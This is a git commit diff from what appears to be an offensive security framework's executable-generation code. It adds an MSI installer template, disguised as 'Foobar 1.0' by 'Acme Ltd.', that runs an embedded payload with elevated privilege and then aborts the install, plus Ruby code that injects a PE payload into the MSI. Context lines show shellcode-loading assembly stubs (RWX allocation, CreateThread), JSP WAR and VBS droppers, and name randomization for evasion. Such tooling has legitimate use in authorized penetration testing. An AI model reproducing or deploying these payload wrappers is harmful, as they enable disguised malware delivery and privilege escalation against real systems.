Initial commit

This commit is contained in:
Meatballs 2013-03-09 17:24:03 +00:00
parent b9de9150bf
commit f37d9c2834
4 changed files with 348 additions and 244 deletions

View File

@ -0,0 +1,7 @@
Compile using WiX: http://wixtoolset.org
Recompile with a larger buffer file to increase the available
buffer size for larger payloads if required.
candle template_x86_windows.wxs
light template_x86_windows.wixobj

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,35 @@
<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Name='Foobar 1.0' Id='*'
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
<Media Id='1' />
<Directory Id='TARGETDIR' Name='SourceDir'>
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
<Condition>0</Condition>
</Component>
</Directory>
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
<Binary Id='Payload' SourceFile='buffer' />
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='no' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
<Feature Id='Complete' Level='1'>
<ComponentRef Id='MyComponent' />
</Feature>
<InstallExecuteSequence>
<ResolveSource After="CostInitialize" />
<Custom Action="ExecPayload" After="InstallInitialize" />
<Custom Action="FailInstallation" Before="InstallFiles" />
</InstallExecuteSequence>
</Product>
</Wix>

View File

@ -311,7 +311,7 @@ require 'digest/sha1'
if(eloc == 0) # place the entry point before the payload if(eloc == 0) # place the entry point before the payload
poff += 256 poff += 256
eidx = rand(poff-(entry.length + 5)) eidx = rand(poff-(entry.length + 5))
else # place the entry pointer after the payload else # place the entry pointer after the payload
poff -= 256 poff -= 256
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
end end
@ -533,6 +533,58 @@ require 'digest/sha1'
return pe return pe
end end
def self.to_win32pe_msi(framework, code, opts={})
pe = to_win32pe(framework, code, opts)
return replace_msi_buffer(pe, opts)
end
def self.to_win64pe_msi(framework, code, opts={})
pe = to_win64pe(framework, code, opts)
return replace_msi_buffer(pe, opts)
end
def self.replace_msi_buffer(pe, opts)
#User cannot specify their own template due to calling to_win32pe
opts[:template].gsub!(/\.exe/, '.msi')
msi = ''
File.open(opts[:template], "rb") { |fd|
msi = fd.read(fd.stat.size)
}
section_size = 2**(msi[30..31].unpack('s')[0])
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
buffer_chain = []
current_secid = 5 # This is closely coupled with the template provided and ideally
# would be calculated from the dir stream?
until current_secid == -2
buffer_chain << current_secid
current_secid = sector_allocation_table[current_secid]
end
buffer_size = buffer_chain.length * section_size
if pe.size > buffer_size
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
end
pe_block_start = 0
pe_block_end = pe_block_start + section_size - 1
buffer_chain.each do |section|
block_start = section_size * (section + 1)
block_end = block_start + section_size - 1
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
msi[block_start..block_end] = pe_block
pe_block_start = pe_block_end + 1
pe_block_end += section_size
end
return msi
end
def self.to_osx_arm_macho(framework, code, opts={}) def self.to_osx_arm_macho(framework, code, opts={})
# Allow the user to specify their own template # Allow the user to specify their own template
@ -664,7 +716,7 @@ require 'digest/sha1'
# This will become a modified copy of the template's original phdr # This will become a modified copy of the template's original phdr
new_phdr = Metasm::EncodedData.new new_phdr = Metasm::EncodedData.new
e.segments.each { |s| e.segments.each { |s|
# Be lazy and mark any executable segment as writable. Doing # Be lazy and mark any executable segment as writable. Doing
# it this way means we don't have to care about which one # it this way means we don't have to care about which one
# contains .text # contains .text
if s.flags.include? "X" if s.flags.include? "X"
@ -844,14 +896,14 @@ require 'digest/sha1'
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
# put the shellcode bytes into an array # put the shellcode bytes into an array
bytes = '' bytes = ''
@ -902,7 +954,7 @@ End Sub
end end
def self.to_exe_vbs(exes = '', opts={}) def self.to_exe_vbs(exes = '', opts={})
delay = opts[:delay] || 5 delay = opts[:delay] || 5
persist = opts[:persist] || false persist = opts[:persist] || false
exe = exes.unpack('C*') exe = exes.unpack('C*')
@ -1275,23 +1327,23 @@ End Sub
def self.to_jsp_war(exe, opts={}) def self.to_jsp_war(exe, opts={})
# begin <payload>.jsp # begin <payload>.jsp
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
var_data = Rex::Text.rand_text_alpha(rand(8)+8) var_data = Rex::Text.rand_text_alpha(rand(8)+8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8) var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
var_comb = Rex::Text.rand_text_alpha(rand(8)+8) var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
var_exe = Rex::Text.rand_text_alpha(rand(8)+8) var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8) var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
jspraw = "<%@ page import=\"java.io.*\" %>\n" jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n" jspraw << "<%\n"
@ -1386,7 +1438,7 @@ End Sub
# Write the data into the .text segment # Write the data into the .text segment
text_offset = opts[:text_offset] || 0x1065 text_offset = opts[:text_offset] || 0x1065
text_max = opts[:text_max] || 0x8000 text_max = opts[:text_max] || 0x8000
pack = opts[:pack] || 'a32768' pack = opts[:pack] || 'a32768'
pe[text_offset, text_max] = [data].pack(pack) pe[text_offset, text_max] = [data].pack(pack)
# Generic a randomized UUID # Generic a randomized UUID
@ -1440,89 +1492,89 @@ End Sub
; Note: This function is unable to call forwarded exports. ; Note: This function is unable to call forwarded exports.
api_call: api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX. pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EDX xor eax, eax ; Zero EDX
mov eax, [fs:eax+48] ; Get a pointer to the PEB mov eax, [fs:eax+48] ; Get a pointer to the PEB
mov eax, [eax+12] ; Get PEB->Ldr mov eax, [eax+12] ; Get PEB->Ldr
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
mov edx, eax mov edx, eax
next_mod: ; next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string) mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ; loop_modname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ; jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ; not_lowercase: ;
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
dec ecx dec ecx
jnz loop_modname ; Loop untill we have read enough jnz loop_modname ; Loop untill we have read enough
; We now have the module hash computed ; We now have the module hash computed
push edx ; Save the current position in the module list for later push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later push edi ; Save the current module hash for later
; Proceed to iterate the export address table, ; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
; Computing the module hash + function hash ; Computing the module hash + function hash
get_next_func: ; get_next_func: ;
test ecx, ecx ; (Changed from JECXZ to work around METASM) test ecx, ecx ; (Changed from JECXZ to work around METASM)
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want ; And compare it to the one we want
loop_funcname: ; loop_funcname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one... ; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function... ; We now fix up the stack and perform the call to the desired function...
finish: finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value push ecx ; Push back the correct return value
jmp eax ; Jump into the required function jmp eax ; Jump into the required function
; We now automagically return to the correct caller... ; We now automagically return to the correct caller...
get_next_mod: ; get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ; get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module jmp next_mod ; Process this module
^ ^
stub_exit = %Q^ stub_exit = %Q^
@ -1532,47 +1584,47 @@ End Sub
; Note: Execution is not expected to (successfully) continue past this block ; Note: Execution is not expected to (successfully) continue past this block
exitfunk: exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version) call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function... jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ; jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 ); call ebp ; call EXITFUNK( 0 );
^ ^
stub_alloc = %Q^ stub_alloc = %Q^
cld ; Clear the direction flag. cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack. call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ; delta: ;
#{stub_block} #{stub_block}
start: ; start: ;
pop ebp ; Pop off the address of 'api_call' for calling later. pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size: allocate_size:
mov esi,PAYLOAD_SIZE mov esi,PAYLOAD_SIZE
allocate: allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is. push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code mov ecx, esi ; Prepare ECX with the length of the code
call get_payload call get_payload
got_payload: got_payload:
pop esi ; Prepare ESI with the source to copy pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling call set_handler ; Configure error handling
exitblock: exitblock:
#{stub_exit} #{stub_exit}
@ -1596,7 +1648,7 @@ End Sub
stub_alloc.gsub!('byte', '') stub_alloc.gsub!('byte', '')
wrapper = "" wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp} # regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0 cnt_jmp = 0
stub_alloc.each_line do |line| stub_alloc.each_line do |line|
@ -1645,87 +1697,87 @@ End Sub
; Note: This function is unable to call forwarded exports. ; Note: This function is unable to call forwarded exports.
api_call: api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX. pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ; next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string) mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ; loop_modname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ; jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ; not_lowercase: ;
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
dec ecx dec ecx
jnz loop_modname ; Loop untill we have read enough jnz loop_modname ; Loop untill we have read enough
; We now have the module hash computed ; We now have the module hash computed
push edx ; Save the current position in the module list for later push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later push edi ; Save the current module hash for later
; Proceed to itterate the export address table, ; Proceed to itterate the export address table,
mov edx, [edx+16] ; Get this modules base address mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
; Computing the module hash + function hash ; Computing the module hash + function hash
get_next_func: ; get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want ; And compare it to the one we want
loop_funcname: ; loop_funcname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one... ; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function... ; We now fix up the stack and perform the call to the desired function...
finish: finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value push ecx ; Push back the correct return value
jmp eax ; Jump into the required function jmp eax ; Jump into the required function
; We now automagically return to the correct caller... ; We now automagically return to the correct caller...
get_next_mod: ; get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ; get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module jmp next_mod ; Process this module
^ ^
stub_exit = %Q^ stub_exit = %Q^
@ -1735,48 +1787,48 @@ End Sub
; Note: Execution is not expected to (successfully) continue past this block ; Note: Execution is not expected to (successfully) continue past this block
exitfunk: exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version) call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function... jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ; jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 ); call ebp ; call EXITFUNK( 0 );
^ ^
stub_alloc = %Q^ stub_alloc = %Q^
pushad ; Save registers pushad ; Save registers
cld ; Clear the direction flag. cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack. call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ; delta: ;
#{stub_block} #{stub_block}
start: ; start: ;
pop ebp ; Pop off the address of 'api_call' for calling later. pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size: allocate_size:
mov esi,PAYLOAD_SIZE mov esi,PAYLOAD_SIZE
allocate: allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is. push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code mov ecx, esi ; Prepare ECX with the length of the code
call get_payload call get_payload
got_payload: got_payload:
pop esi ; Prepare ESI with the source to copy pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling call set_handler ; Configure error handling
exitblock: exitblock:
#{stub_exit} #{stub_exit}
@ -1785,20 +1837,20 @@ End Sub
xor eax,eax xor eax,eax
; push dword [fs:eax] ; push dword [fs:eax]
; mov dword [fs:eax], esp ; mov dword [fs:eax], esp
push eax ; LPDWORD lpThreadId (NULL) push eax ; LPDWORD lpThreadId (NULL)
push eax ; DWORD dwCreationFlags (0) push eax ; DWORD dwCreationFlags (0)
push eax ; LPVOID lpParameter (NULL) push eax ; LPVOID lpParameter (NULL)
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
push eax ; SIZE_T dwStackSize (0 for default) push eax ; SIZE_T dwStackSize (0 for default)
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
